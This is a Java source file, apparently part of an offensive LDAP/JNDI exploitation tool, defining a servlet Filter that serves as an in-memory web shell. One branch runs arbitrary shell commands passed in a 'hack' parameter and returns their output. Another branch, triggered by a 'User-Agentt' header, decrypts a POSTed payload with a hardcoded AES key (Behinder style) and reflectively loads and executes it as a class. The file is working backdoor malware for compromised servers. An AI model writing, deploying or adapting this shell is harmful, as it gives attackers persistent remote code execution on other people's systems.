content: package com.feihong.ldap.template;
  
  import javax.crypto.Cipher;
  import javax.crypto.spec.SecretKeySpec;
  import javax.servlet.*;
  import javax.servlet.http.HttpServletRequest;
  import javax.servlet.http.HttpServletResponse;
  import javax.servlet.http.HttpSession;
  import java.io.File;
  import java.io.IOException;
  import java.lang.reflect.Method;
  import java.util.HashMap;
  import java.util.Scanner;
  
  public class DynamicFilterTemplate implements Filter {
  
      private String basicCmdShellPwd = "hack";
      private String behinderShellHeader = "User-Agentt";
  
      public DynamicFilterTemplate() {
          super();
      }
  
      @Override
      public void init(FilterConfig filterConfig) throws ServletException {
  
      }
  
      @Override
      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  
          if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){
              //basic cmd shell
              String cmd = servletRequest.getParameter(basicCmdShellPwd);
              if(cmd != null && !cmd.isEmpty()){
                  String[] cmds = null;
                  if(File.separator.equals("/")){
                      cmds = new String[]{"/bin/sh", "-c", cmd};
                  }else{
                      cmds = new String[]{"cmd", "/C", cmd};
                  }
                  String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
                  servletResponse.getWriter().println(result);
              }
          }else if(((HttpServletRequest)servletRequest).getHeader(behinderShellHeader) != null){
              //behind3 shell
              try{
                  if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){
                      HashMap pageContext = new HashMap();
                      HttpServletRequest request = (HttpServletRequest) servletRequest;
                      HttpServletResponse response = (HttpServletResponse) servletResponse;
                      // lastRequest的session是没有被包装的session!!
                      HttpSession session = request.getSession();
                      pageContext.put("request", request);
                      pageContext.put("response", response);
                      pageContext.put("session", session);
                      // 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串
                      String payload = request.getReader().readLine();
  
  //                        System.out.println(payload);
                      // 冰蝎逻辑
                      String k = "e45e329feb5d925b"; // rebeyond
                      session.putValue("u", k);
                      Cipher c = Cipher.getInstance("AES");
                      c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                      Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                      method.setAccessible(true);
                      byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
                      Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
                      evilclass.newInstance().equals(pageContext);
                  }
              }catch(Exception e){
                  e.printStackTrace();
              }
  
          }else{
              filterChain.doFilter(servletRequest, servletResponse);
          }
      }
  
      @Override
      public void destroy() {
  
      }
  
  }
  